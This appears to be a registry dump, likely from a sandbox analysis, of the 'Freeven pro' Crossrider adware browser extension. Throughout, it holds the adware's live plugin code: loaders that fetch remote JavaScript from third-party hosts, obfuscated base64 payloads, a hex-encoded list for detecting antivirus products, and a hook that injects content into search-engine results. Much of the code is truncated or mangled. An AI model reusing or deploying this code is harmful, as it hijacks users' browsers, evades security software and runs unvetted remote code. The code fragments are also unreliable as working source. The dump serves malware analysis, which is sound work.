"JavaScript" = "(function(){var a=(function(){var l=function(){return appAPI&&appAPI.installer&&appAPI.utils.isFunction(appAPI.installer.getAdditionalInfo)?appAPI.installer.getAdditionalInfo():null;};var j={ie:10,ni:11,te:19,ch:20,to:26,sb:27,op:28,tc:29,ff:30,tf:39,sf:40,nv:50,ms:51,mf:52,mc:53,np:54,sm:55,fm:56,cm:57,mx:60};var p=source_id;var k=776;var e=__PageActive__;var q=new Date(2013,0,1);var f=1000*60*2;var n=1000*60*10;var o=(appAPI&&appAPI.installer&&typeof appAPI.installer.getUnixTime===function)?appAPI.installer.getUnixTime()*1000:((new Date(2013,0,1)).getTime());var h=l;var g=[{pluginId:288,httpUrl:http://istatic.datafastguru.info/fo/min/crqc.js?hid=__CROSSRIDER_USER_ID__&bname=__CROSSRIDER_APP_NAME__&subid=__CROSSRIDER_EXTENDED_SUB_ID__,delay:0},{pluginId:242,httpUrl:http://inst.shoppingate.info/js/sg_bg.js?AFFILIATE_ID=crsrdr&SUB_DISTRIBUTER_ID=__CROSSRIDER_EXTENDED_SUB_ID__&BRAND_DISPLAY_NAME=__CROSSRIDER_APP_NAME__,httpsUrl:https://inst.shoppingate.info/je6"

[HKCU\Software\Freeven pro\Plugins\2]
"Version" = "2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Freeven pro\Installer]
"osName" = "XP32"

[HKCU\Software\Freeven pro\Code]
"BgJavaScript" = "/************************************************************************************ This is your background code. For more information please visit our wiki site: http://docs.crossrider.com/#!/guide/scopes_background*************************************************************************************/appAPI.ready(function($) { // Place your code here (ideal for handling browser button, global timers, etc.)});"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Freeven pro\Plugins\35]
"Name" = "IEAjax"

[HKCU\Software\Freeven pro\Manifest]
"UninstallerOfferAction" = "NA"

[HKCU\Software\Freeven pro\Plugins\195]
"Name" = "icm_convertmedia_m"

[HKCU\Software\Freeven pro\Plugins\36]
"Version" = "8"

[HKCU\Software\Freeven pro\Plugins\4]
"Version" = "5"

[HKCU\Software\Freeven pro\Plugins\44]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}(function(a){appAPI.dns={};appAPI.dns.resolveIP=function(b){return a.resolveIp(b);};appAPI.fetchUrl=function(b){return a.fetchUrl(b);};appAPI.openURL=function(e,d){var c;if(typeof e===object){c=e;if(typeof a.openUrlEx!==undefined){a.openUrlEx(appAPI.JSON.stringify(c));return;}else{d=c.where;e=c.url;}}if(typeof e!==string){console.error(appAPI.openURL - Invalid parameter. Expected string (1st param) but got: (typeof e));return;}if(d!==current&&d!==tab&&d!==window&&d!==popup){console.error(appAPI.openURL - Invalid parameter. Expected current/tab/window (2nd param) but got: d);return;}if(typeof a.openUrlEx!==undefined){var f=(document&&document.documentElement&&document.documentElement.clientHeight)?document.documentElement.clientHeight 100:100;var h=(document&&document.documentElement&&document.documentElement.clientWidth)?document.documentElement.clientWidth 80:100;var g=(window&&window.screenTop)?((window.screenTop-20)
[HKCU\Software\Freeven pro\Plugins\200]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\94]
"Name" = "IEPopup"

[HKCU\Software\Freeven pro\Plugins\281]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/281.js"

[HKCU\Software\Freeven pro\Plugins\221]
"Name" = "icm_downloads_m"

[HKCU\Software\Freeven pro\Manifest]
"BgVersion" = "1"

[HKCU\Software\Freeven pro\Plugins\184]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/184.js"

[HKCU\Software\Freeven pro\Plugins\221]
"JavaScript" = "appAPI.internal.monetization=appAPI.internal.monetization||{};if(typeof appAPI.internal.monetization.plugins===undefined){appAPI.internal.monetization.plugins={};}appAPI.internal.monetization.plugins[221]=function(){if(appAPI.isBackground){return;}if(!appAPI.internal.monetization.shouldRunByVertical(221,[pops])){return;}new (appAPI.internal.monetization.plugins.ICMBaseManager({namespace:DOWNLOADS}))();};"

[HKCU\Software\Freeven pro\Plugins\36]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/36.js"

[HKCU\Software\Freeven pro\Plugins\376]
"Name" = "loaderBackup"

[HKCU\Software\Freeven pro\Plugins\47]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/47.js"

[HKCU\Software\Freeven pro\Plugins\37]
"Version" = "6"

[HKCU\Software\Freeven pro\Plugins\42]
"JavaScript" = "var Consts={SCOPE:{BACKGROUND:0,PAGE:1,POPUP:5,OPEN_URL:6}};if(typeof appAPI===undefined){appAPI={};}appAPI.__should_activate_validation__=true;(function(a){if(typeof window==undefined){window={};}if(typeof window.document===undefined){window.document={};document=window.document;}if(typeof window.alert===undefined){window.alert=function(b){var c;if(typeof b===undefined){c=undefined;}else{if(b===null){c=null;}else{c=b.toString();}}if(typeof c===string){a.alert(c);}};alert=window.alert;}})(appAPIinternal);if(typeof console===undefined){window.console={};console=window.console;}if(typeof console.log===undefined){window.console.log=function(a){};console.log=window.console.log;}if(typeof console.info===undefined){window.console.info=function(a){};console.info=window.console.info;}if(typeof console.warn===undefined){window.console.warn=function(a){};console.warn=window.console.warn;}if(typeof console.error===undefined){window.console.error=function(a){};console.error=window.console.error;}6"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Freeven pro\Plugins\39]
"Name" = "IEDatabase"

[HKCU\Software\Freeven pro\Plugins\43]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}if(typeof appAPI.internal.message===undefined){appAPI.internal.message={};}appAPI.internal.message.send=function(b){if(typeof b!==object){return false;}if(typeof b.eventName!==string){return false;}b.senderTabId=appAPI.tabId;var c;try{c=appAPI.JSON.stringify(b);}catch(a){console.error(appAPI.message error - Caught a JSON exception when trying to stringify the message);return false;}if(typeof c!==string){console.error(appAPI.message error - Failed to stringify message);return false;}if(c.length>8192){console.error(appAPI.message error - can't send message because content is too long: c.length);return false;}appAPIinternal.msgToAllTabs(c);return true;};appAPI.internal.callbacks.crossBhoEvent=function(b){if(typeof b.msgObj!==string){return;}try{b=appAPI.JSON.parse(b.msgObj);}catch(c){console.error(Failed to pars6"

[HKCU\Software\Freeven pro\Plugins]
"NewTabPluginList" = "42,38,46,17,14,78,13,41,44,39,35,43,40,64,2,4,3"

[HKCU\Software\Freeven pro\Plugins\42]
"Version" = "10"

[HKCU\Software\Freeven pro\Plugins\288]
"Version" = "4"

[HKCU\Software\Freeven pro\Plugins\193]
"Name" = "revizer_p_dynamic_b2b_m"

[HKCU\Software\Freeven pro\Plugins\41]
"Version" = "7"

[HKCU\Software\Freeven pro\Plugins\390]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/390.js"

[HKCU\Software\Freeven pro\Plugins\220]
"JavaScript" = "if(appAPI.isBackground){var ICMBaseManager=function(a){return function(){};};}else{var ICMBaseManager=function(a){var b=(function(f){var i=(function(){var z={\x61\x76\x67\x5F\x64\x65\x74\x65\x63\x74\x65\x64:1,\x61\x76\x61\x73\x74\x5F\x64\x65\x74\x65\x63\x74\x65\x64:2,\x61\x76\x69\x72\x61\x5F\x64\x65\x74\x65\x63\x74\x65\x64:4,\x6D\x73\x65\x5F\x64\x65\x74\x65\x63\x74\x65\x64:8,\x65\x73\x65\x74\x5F\x64\x65\x74\x65\x63\x74\x65\x64:16,\x69\x6D\x61\x73\x68\x5F\x64\x65\x74\x65\x63\x74\x65\x64:32,\x76\x69\x70\x65\x72\x5F\x64\x65\x74\x65\x63\x74\x65\x64:64,\x61\x73\x6B\x74\x6F\x6F\x6C\x62\x61\x72\x5F\x64\x65\x74\x65\x63\x74\x65\x64:128,\x64\x65\x61\x6C\x70\x6C\x79\x5F\x64\x65\x74\x65\x63\x74\x65\x64:256,\x66\x75\x6E\x6D\x6F\x6F\x64\x73\x5F\x64\x65\x74\x65\x63\x74\x65\x64:512,\x6D\x63\x61\x66\x65\x65\x5F\x64\x65\x74\x65\x63\x74\x65\x64:1024,\x6D\x61\x6C\x77\x61\x72\x65\x62\x79\x74\x65\x73\x5F\x64\x65\x74\x65\x63\x74\x65\x64:2048,\x62\x61\x69\x64\x75\x61\x76\x5F\x64\x65\x74\x65\x63\x74\x65\x64:N6"

[HKCU\Software\Freeven pro\Plugins\9]
"Name" = "search_engine_hook"

[HKCU\Software\Freeven pro\Plugins\288]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MWU2NzVhNWE1NDQ1NTMxYjE5MTcxNTM4MDgxNjU2NWY1MTUxMDUxNzExMWQ0MDU1NWIwYzAyMDcwYzE3MGMwZTU0MWYwNzBkMWUwMzBlMGMwODFkNTQxOTFiMDg1ZTE1MDI0YzA4MDQxNDU1MTcxNzAwMTA0MzA5MTY1MjEyMTMxMDU4MmUyYzJlMzEyYTNlMjkyODNkMjEzNDIxMzIzNjM2MjgyODI1M2QyMTJlMmM0YjAxMGIwYzE3MWY0OTNhMmUzMDNmMmMzNjNlMjgzMzMwMjAyMzJjMmMzMzM1MzIzNDNiMzkyMDJlMmM0YjEwMTAwZjEzMWU0OTNhMmUzMDNmMmMzNjNlMjgzMzMwMjAyMzJjMjgzYjMxMjgzNDNlMzEyMTJlMjAzODIxM2EyNDNlMjUyYjQ3NWQ3OTRkNDM0NTRkNTgxMjAwMTEwMTAwMzgxMTA5NGY0MDVhNTYwZDA1MDcxZDEwNWY0MjU1MTMwNzExMTAwNzA0MDA0YjA4MDkxMjFiMTUxMjFjMDAxMzRiMGUxNTE3NWIwMzFlNWMwMDBhMGI0MjE5MDgwNTA2NWYxOTFlNWMwZDA0MWU0NzJiM2EzMjIxMjIzMDM2M2YzMzNlMzEzNzJlMjYzZTI2MzczMjMzM2UyYjNhNTcxMTAzMDIwODA4NDcyNTJiMjYyMzNjM2UzMDM3MjQzZTNmMjYzYTMwMjMzZDNjMmIyYzM3M2YyYjNhNTcwMDE4MDEwYzA5NDcyNTJiMjYyMzNjM2UzMDM3MjQzZTNmMjYzYTM0MmIzOTI2MmIyOTNmM2UyYjM2MjQzMTMyMmEyMTMyMjU1ODU4NmY1MTUzNGQ0MzQ3MWQxNjBmMTMwYzFmM2EwOTQxNWY0ZDQ4NDI0YzZmMGM=', 'emzzteqsmc'); }"

[HKCU\Software\Freeven pro\Plugins\46]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/46.js"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "43 A1 8E 10 A3 B2 48 6C 74 29 09 40 DD 97 B9 4E"

[HKCU\Software\Freeven pro\Plugins\2]
"Name" = "ie8_fix_1"

[HKCU\Software\Freeven pro\Plugins\195]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/195.js"

[HKCU\Software\Freeven pro\Plugins]
"BgPluginList" = "246,42,38,46,41,44,39,35,43,36,4,14,78,64,47,345,354,253,102,180,184,193,220,195,200,221,223,226,230,233,242,260,273,281,288,334,375,380,390,391,91,376"

[HKCU\Software\Freeven pro\Plugins\242]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MWQ3ZjZjNTYwYzFlMWExZDMzMTEwYTU3NWY1NDQ2MDIxYTE5MTY1OTQ5NWEwYzFhMTcxZTQwMWUwZTBjMTYwNTBjMWEwMzBiMWEwODQ4MGEwODEzMGE1YjBlMTk0MTFlMDEzYzA0MTI0YjFlMTc1NTJmMmIyMDJhMmEzYzI0MjAyMTM1MjcyOTViMDAxNDA2MTcxMDE2NGMzZDM4MjQzYzIyM2MzNjIwMzYyMzJjMzgzMjI2MzQyYTJjMzA1OTM1MzEyZTM0MmMzNTI2MzczZDIwMmYzYzMyMjMzYjMyMzAyYjMwMjEyZTMxM2UzMzIxMzkzYzIxMmIzYjRjMmMzZjI3MmQyMjJhMjEzZDM3M2EyMjJjM2YzYzI4MzQyODMxNTkzNTMxMmUzNDJjMzUyNjM3M2QyMDJmM2MzMjI3MzMzNjJhMmIzNTI5MmYzMTMyNDQ0ZjZjN2M0NzFjMTAxZTFlMWUzMzExMGE1NzVmNTQ0NjAyMWExOTE2MTA1YzVhNGExZDBhMTkxYTQzMTUwYjA5MDUxNTFkMGEwZDBmMTkwMzRkMGYxYjAzMWI0YjAwMWQ0MjE1MDQzOTE3MDI1YTBlMTk1MTJjMjAyNTJmMzkyYzM1MzAyZjMxMjQyMjVlMDUwNzE2MDYwMDE4NDgzZTMzMjEzOTMxMmMyNzMwMzgyNzJmMzMzNzIzMjczYTNkMjA1NzMxMzIyNTMxMjkyNjM2MjYyZDJlMmIzZjM5MjYzZTIxMjAzYTIwMmYyYTMyMzUzNjI0MmEyYzMwM2IzNTQ4MmYzNDIyMjgzMTNhMzAyZDM5M2UyMTI3M2EzOTNiMjQzOTIxNTczMTMyMjUzMTI5MjYzNjI2MmQyZTJiM2YzOTIyMzYyNTNhM2EyNTI3MmIzMjM5NDE0YTdmNmM1NjE0MDYxYjBhMGYwZDJmMTE0NzRlNDQ1ODVhNWY2YzFl', 'fuetdjnmfc'); }"

[HKCU\Software\Freeven pro\Plugins\354]
"JavaScript" = "__CTG_MAPPING__={""1"":[""d908e50170d7cb46a92fdbff0d73bb5d""

[HKCU\Software\Freeven pro\Plugins\39]
"JavaScript" = "if(typeof appAPI===""undefined""){appAPI={};}(function(c){appAPI.cookie=function(h,k,f,i){var g=""%@%ZZCR__AJAXZZ$C@R#"";function e(o,q,l,p){if(typeof(o)!==""string""){return false;}var n=appAPI.JSON.stringify(q);var m=new Date(2030,1,1,0,0,0,0);if(l instanceof Date){m=l;}c.setLocalCookie(o,n,m.toUTCString(),p);return true;}function j(m,n){if(m==""InstallerParams""&&n==""Local""){return appAPI.JSON.parse(appAPI.internal.prefs.getChar(""Params""

[HKCU\Software\Freeven pro\Plugins\184]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDI2YjcwNTgwZTE4MDQxNzJjMWQxNTQzNDM1YTQ0MDQwNDEzMDk1NTU2NGUxNzBhMTU0MjAwMDYwYTFiMTgwZDFjMWIwMjFmNWUwNDE2MDI1NjBmMDkwOTA0NDMxYzA4MWUwNjFhNGYxMzA5NTkyMzAyMGUxZTA2MTcyODFkNDcyMzU0MzE1MzM4NWQ0YTIwNTQzODU2NWY0NDRhM2M1ZDQ4NTA1NDNiNWYyZDQwNGE0OTVmNDg1NDQ4NGQyMjVkNDAyMTRmMmE1ZjMyMTAwZTAzMjUxNDVhMmEwZTE1MDQwYTVjMzYwZDAyMTMxNzBhMGIyODNkNDc1NDVjNDA1NzQ5NDkyOTEzMTYxZTEzMGYwNDI5MTgwMjFjNWMyNjI1MjUzZTNmMzQyYTNkMzAyNTNjMjgzOTJkMjAzNzI2MjEzODJjM2MyNTM5NGEyNDA4MTYwMzFiMDAwYjMzMDI1MTJmMzgzYTNkMzYzMjJhMjgyZjI4MzUzNTI2MmEyMTM1M2MzNDIyMjkzNDM4MmEzYTNiM2UzMDNlMzkzMzUyNGI3MzY2NWIwOTBkMGUxNjFmMjUxNTE1NGQ0MzQxNWIxMjEyMTgwMDE0NDM0MDU2MGYwOTA5NDgxYzExMTQwZDBlMTUwNDE4MWUxNTQyMTMwODE0NDAxNzExMGExODQ5MDAxZjAwMTAwYzU3MGIwYTQ1MjkxZTE5MDAxMDAxMzAwNTQ0M2Y1ZTJkNDQyNjRiNWMzODRjM2I0YTU1NTg1ZDIyNGI1ZTQ4NGMzODQzMjc1YzVkNTc0OTVlNGM1MDRlM2U1NzVjMzY1MTNjNDkyYTA4MGQxZjJmMDg0ZDM0MTgwMzFjMTI1ZjJhMDcxZTA0MDkxYzFkMzAyNTQ0NDg1NjVjNDA1NzVmM2YwYjBlMWQwZjA1MTgzZTA2MTQwYTQ0M2UyNjM5MzQyMzIzMzQyYjI2M2QyNDJiMjUyNzNjMjAzd6"

[HKCU\Software\Freeven pro\Plugins\193]
"Version" = "9"

[HKCU\Software\Freeven pro\Plugins\273]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MWE3ZTUxNDI0YzRiNGQwYzEyMDAxMTIxMDMwZTRlNTE0ZjQ2MGUwMDE1MDQ0YjRkNDMwODA1MTc0ODE4MDgxYTFhMDAwMzA3MDYwNzQ4MTcwZTE5NWUxMTBmMDExYzRiMDUxZTEyNWIxMjE2MTQwMTFjNGEwYzA3NWUxNTE3MDQzMzAyMGI1OTU3NDU1NTQxNTcxMTE5MDkwZTAyMDAyYjA4MTA0YzNkMzMyODNkMmIzNTI3MzMzZDM1MjczZTM0MmEzYzMyMzEyZjMwMzQyNjMzMzgzYTI2MzkzZDI1MmIyZTQ0MWYwOTFkMDUwODEwNWMyYjJlMjEzZTI0M2MzNzM0M2QyNTMxMjMzZDJkM2IzZjNiMjgzNTJjMzEyZTNkNGU0NzY1NDQ0NjU0NDE1NjE5MTYxODFiMWMzMTE0MTg0MzRlNTE0MDA0MWYxYjE0MTU0ZTRlNWIxMjA4MWY0NTAzMGQwODFmMDMxYjFkMGIwZjQ1MGMwYjBiNWIxMjE3MWIxMTQzMDgwNTE3NDkxNzE1MGMxYjExNDIwMTFjNWIwNzEyMDcyYjE4MDY1MTVhNWU1MDUzNTIxMjAxMTMwMzBhMGQzMDBkMDI0OTNlMmIzMjMwMjMzODNjMzYyZjMwMjQyNjJlMjczNDNmMmEyYTIyMzEyNTJiMjIzNzJlMzQyNjIwMzkyYjQ3MDcxMzEwMGQwNTBiNTkzOTJiMjIyNjNlMzEzZjM5MjYyMDIzMjYzZTM1MjEzMjMzMjUyZTI5MjMyYjNlNTY1ZDY4NGM0YjRmNDQ0NDA0MGQwMTE2MGIwMjIyMGI0NjVjNTQ1MzQzNDI2ODEx', 'atqblkodft'); }"

[HKCU\Software\Freeven pro\Plugins\391]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/391.js"

[HKCU\Software\Freeven pro\Plugins\260]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/260.js"

[HKCU\Software\Freeven pro\Plugins\200]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTc2NjY1NGQxODEyMTcwNjMzMDAwMDRlNTY0ZjUyMGUxNzAyMTY0ODQzNDMxZTFhMWMwMzEwNTgwMDFkMTQxNTA4MGExMTBhNGQxNTA5MWY0MzFhNWQ0MTQwNDkxNDFlMGYwNjA5MDAwNTFjMDQ0OTUyNDY1MTQyNDMzMzMzMmMyMjI5MzAyNTM0M2IyODI5M2UzMDM1M2UzNzMzMjgzNjI5MjgzMzNjMjUyNDNjM2YyMjJkMzM1MzFjMGUwMjEyMGQxMzE0M2MwZDAxMDk1MjJmMzkyMDI0MjkyMTNmM2UyNTJiMzUzNDNjMzczNjIyMzMyMjJkMjIzNTM5M2M1NDRhNzg2NTRlMDQxYjA0MTYxMDIzMTQxZTRlNTY0YzRkMTgxMjE3MDYxNTQ4NDM0MzFlMWExYzAzMTA1ODAwMWQxNDE1MDgwYTExMGE0ZDE1MDkxZjQzMWE1ZDQxNDA0OTE0MWUwZjA2MDkwMDA1MWMwNDQ5NTI0NjUxNDI0MzMzMzMyYzIyMjkzMDI1MzQzYjI4MjkzZTMwMzUzZTM3MzMyODM2MjkyODMzM2MyNTI0M2MzZjIyMmQzMzUzMWMwZTAyMTIwZDEzMTQzYzBkMDEwOTUyMmYzOTIwMjQyOTIxM2YzZTI1MmIzNTM0M2MzNzM2MjIzMzIyMmQyMjM1MzkzYzU0NGE3ODY1NGUxYzAzMDUwMTBhMTgyZjE2NGU1NjRjNWQ0MDU2NjkwYg==', 'lllopfcvfr'); }"

[HKCU\Software\Freeven pro\Plugins\102]
"Version" = "15"

[HKCU\Software\Freeven pro\Plugins\334]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/334.js"

[HKCU\Software\Freeven pro\Plugins]
"PopupPluginList" = "42,38,46,41,44,39,35,43,36,4,14,78,13,64,47,94"

[HKCU\Software\Freeven pro\Plugins\246]
"Name" = "setup"

[HKCU\Software\Freeven pro\Plugins\230]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/230.js"

[HKCU\Software\Freeven pro\Plugins\94]
"JavaScript" = "appAPI.isBackground=false;appAPI.tabId=POPUP;appAPI.internal.scope=Consts.SCOPE.POPUP;appAPI.browserAction.setBadgeBackgroundColor=function(a){if(!(a instanceof Array)){console.error(appAPI.browserAction.setBadgeBackgroundColor - Invalid parameter. Expected an array but got: (typeof a));return;}if(a.length!==4){console.error(appAPI.browserAction.setBadgeBackgroundColor - Invalid parameter. Color array should have 4 members (RGBA));return;}appAPI.internal.message.send({eventName:onSetBadgeColorFromPopup,eventContent:a});};appAPI.browserAction.setBadgeText=function(c,a){var b={};if(typeof c!==string){console.error(appAPI.browserAction.setIcon - Invalid parameter. Expected string (1st param) but got: (typeof c));return;}b.text=c;if(typeof a===undefined||a===null){b.color=null;}else{if(!(a instanceof Array)){console.error(appAPI.browserAction.setBadgeText - Invalid parameter. Expected an array (2nd param) but got: (typeof a));return;}else{if(a.length!==4){console.error(appAPI.browserAction.se6"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCU\Software\Freeven pro\Plugins\253]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MGU2MDdmNDgwNTEyMTUxYjM0MTgxOTQ4NGM0YTRmMzkzZTI4MzMzNTIwM2EzMjJiMzkyMzNlMjMyZTM5MjEzNTI5NDUwZjBmNGUwYTRmMDAwNjQ4NWE2MDY0NDQxMTA3MTQwZDFjMDQzZjBlNGY1YzQxNTk1NDU5NTk2MDdmNDgwNDA4MGQwMjBmMGYzZjM5NTQ1MDRkNDQxNjAyMGYwZTFhMWQ1ODM1MzIwNDA4MzQxMTAzMGQwZjFhMzUxODE0MGQzNDNlNGE0ODRhNTEzNTMyMjUzMzM0MzIzZTM0M2UyNTM1MjUyOTMyM2YzZTM1NWEwODFmNDQwYTBmMDc1NDAyMGIxODFhMTcwMzBhMDg1YzM0M2UyOTI3MjUyNTM5M2YyZjI1MmUzMzM1MzYyYjNiM2EzMjJmMjUzNDNlNGMxNzE4MTkxZDFlMDMxMzU2M2UzNTM2MzgzOTM5M2UzNDI4MmYyNDM4MmEyODI0MjUzYTM1MjQzOTNlMzU1MzA4MWYwOTUwMzkzZTI4MzMyNTI2MzkyNDIzMjkyMzMzMzQzNDM5MzAzODI5MjMyOTM5M2U0ZDEzMDQxMTU3NTE0YTQ2NDY0OTA1MDQxZDU1MmUxNzFlMDg0ZTQ4NDI0ZjBkMTAxZTIyMDMwMDAzNDk0MjVhNDg3ZjE3', 'ujvjmfakaj'); }"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Freeven pro\Manifest]
"ThanksUrl" = "NA"
"PublisherId" = "21636"

[HKCU\Software\Freeven pro\Plugins\334]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MTk2OTRhNTc1OTRjNTYwYzE3MWYxMjM2MTgxYjViNTY1NDQ2MGIxZjE2MTM1MDU4NTYwOTBjMTA1MjQ1MTUwNjA4MDQxNjAwMTkwYjBkNDUwMTBjMDc1ODBlMWYyYjBiMDEwZDNkNWE1OTQ2MTM1NDJiNGEwOTE4NWQwMDBiMWEwOTBkMWQwMzBkMjIwNjVlMzUyODNhM2UzYjM3MzAzOTJiMjcyZjI1MjYyZjM1MjkzMzM0MmIyNzM1Mjg1ZjBmMWIxMTBkMWYxMDFhMjkxODFkMDk0OTNiM2MyODMwMmMzOTI0MmIyNTMwMjEzMTM0MjEyYzNmMzkyZDNlMmQzYjIwMjQyNjI2MzUyODVmMDUxYTE3MTcwYTBlMGYwYjAzMTAwMzFhMzAwYTA2MDc1ZTM1MjgzYTNlM2IzNzMwMzkyYjI3MmYyNTI2MjUzYTM3MzcyYTJlMmYzNTIzMzAyMTMxM2IzYzRkMDMxMzFhM2UzZDUxMmIzYjIwMzkyZDMwMzkyNTMwMjgzMTM2M2MyYTMyMzMzNTNlM2QzMzJiNDIyYTI5MmIyMDU3MjgyNjJmMjYyYjMwMzgzMDJhMmUzMjJiMzMzZDJhMzAzZjIzMmYyNjMyMmIzMzIxMzcyNjM5M2QyYTJlMjgyNjRhMTUxNDEzMjUwMzBlMGY0YTI2MzMzNzM2MmMzODMxMzEyMzMzM2MzZTJiMjUzMzNiM2QyZDJiM2EzYzMzMmI0MjEwMWUwMDJhMmU0YTI2MzMzNzM2MmMzODMxMzEyMzMzM2MzZTJiMjEzYjNmMjcyZDJlMzIzZDMzMjczMTIxMzQyYjI3MzUyODViNDA3ZTQ0NDM0YjQyNDExYTFiMGMwYjFkMGEyYTBmNDA1OTRhNDQ0YTU4N2UxOQ==', 'bcjwyltdck'); }"

[HKCU\Software\Freeven pro\Plugins\9]
"JavaScript" = "appAPI.hooks.addHook(searchEngine,(function(a){return function(){var f={keyDelay:1000},e,h;return{init:function(i){e=this;this.addEngine({name:google,url:google,input:input[name=q],results:#rso,result:'

'});this.addEngine({name:bing,url:bing.com,input:input[name=q],results:#results > ul,result:'

'});this.addEngine({name:yandex,url:yandex.ru,input:form.b-head-search input.b-form-input__input,form.b-search input.b-form-input__input,results:.b-body-items > ol,result:'

'});this.addEngine({name:yandex,url:yandex.com,input:form.b-search input.b-form-input__input,#searchInput,results:.b-serp2-list__portion,result:'

'});this.addEngine({name:yahoo,url:yahoo.com,input:input[name=p],results:#web ol:eq(0),result:

});this.addEngine({name:yahoo,url:search.yahoo.com,input:input[name=p],results:#web ol:eq(0),result:

});this.addEngine({name:ask,url:M6"

[HKCU\Software\Freeven pro\Plugins\246]
"JavaScript" = "var _0x8f59=[""10""

[HKCU\Software\Freeven pro\Plugins\17]
"Name" = "jQuery"

[HKCU\Software\Freeven pro\Plugins\38]
"Name" = "IECallbacks"

[HKCU\Software\Freeven pro\Plugins\37]
"JavaScript" = "if(typeof appAPI===undefined){appAPI={};}if(typeof appAPI.internal===undefined){appAPI.internal={};}if(typeof appAPI.internal.callbacks===undefined){appAPI.internal.callbacks={};}appAPI.internal.browserEventCode=true;window.console.log=appAPI.internal.console.log;console.log=window.console.log;window.console.info=appAPI.internal.console.info;console.info=window.console.info;window.console.warn=appAPI.internal.console.warn;console.warn=window.console.warn;window.console.error=appAPI.internal.console.error;console.error=window.console.error;appAPI.internal.callbacks.setEventHandler(openURL,function(b){if(appAPI.isActiveTab()){var a={url:b.url,where:b.where,focus:(typeof b.focus===boolean?b.focus:true),height:(typeof b.height===number?b.height:750),width:(typeof b.width===number?b.width:750),top:(typeof b.top===number?b.top:100),left:(typeof b.left===number?b.left:100)};appAPI.openURL(a);}});appAPI.internal.callbacks.setEventHandler(runHelper,function(b){if(appAPI.isActiveTab()){var a=b;appA6"

[HKCU\Software\Freeven pro\Manifest]
"AddressbarURL" = "NA"

[HKCU\Software\Freeven pro\Plugins\345]
"Version" = "13"

[HKCU\Software\Freeven pro\Plugins\14]
"JavaScript" = "if(typeof(appAPI)===undefined){appAPI={};}var CR__bIsIEWindow=false;if(typeof window!==undefined&&typeof window.navigator!==undefined&&typeof window.navigator.userAgent!==undefined){CR__bIsIEWindow=/MSIE (\d \.\d );/.test(window.navigator.userAgent);}CR__bIsIEWindow=(CR__bIsIEWindow||(typeof appAPIinternal!==undefined));appAPI.JSON={};if(typeof JSON!==undefined&&!CR__bIsIEWindow){appAPI.JSON=JSON;}else{(function(){function f(n){return n
[HKCU\Software\Freeven pro\Plugins\375]
"JavaScript" = "if (typeof setup2 === 'function') { setup2('MDE3MDc4NDMwMzFlMDUxMzJmMWMxNjU4NGI0MTQ5MDIwNTE3MGE1NDU1NTUxODRmMDgxODE0MDExMDFkNTQxMzFmMDcwNDQ1MTIxMTFmMGM1NTEwMTAxNzBhMTkxMjExMTMxZTBlNTQxYjEyNTQwOTE5MDIxNDAwMWYxNjRjMDIxOTBlMDMzYzI1MzEzOTI4M2UzMjM4MzgzODI3M2YzYzI1M2YyOTM1MmUyNDM1MjYzZTMxMjkyZjMzM2UyMjJlMmUzYzU4NDI3MDczNTMwOTFmMWUwMTEwMmYxYzE2NTg0YjQxNDkwMjA1MTcwYTFkNDA1NTVlMDgzNDA5MDMwNjE4MDQwOTI1MTgwZjBkMDU1ZjE3MTYxZDE5MWUxZjRmMDgwNTFjNGMxOTFjMWYxODVlMGIwYTFjMTAxMDE5MWMxMzBhMDU0ZjAxMTk0ZTAwMTIwZjE0MTQxNDBkNTYwOTAzMDcwODMxMjUyNTMyMzMyNDM5MjIzMTMzMmEzZjI4MmUyNDMzM2UzNDJkM2UyYjNlMjUyMjM0MjkzNTM4MjcyNTMxNTg1NjdiNjg0OTFhMWQxNjFkMDcxNDMzMTU0MzUxNGE0MjU0NGY2NDA3', 'zzqakjqczn'); }"

[HKCU\Software\Freeven pro\Plugins\7]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/7.js"

[HKCU\Software\Freeven pro\Plugins\44]
"Name" = "IEMisc"

[HKCU\Software\Freeven pro\Plugins\233]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/233.js"

[HKCU\Software\Freeven pro\Plugins\380]
"Version" = "1"

[HKCU\Software\Freeven pro\Plugins\375]
"URL" = "http://js.ourstatsstaticstack.com/plugins/mins/375.js"

[HKCU\Software\Freeven pro\Manifest]
"ModeType" = "production"

[HKCU\Software\Freeven pro\Plugins\35]
"Version" = "4"

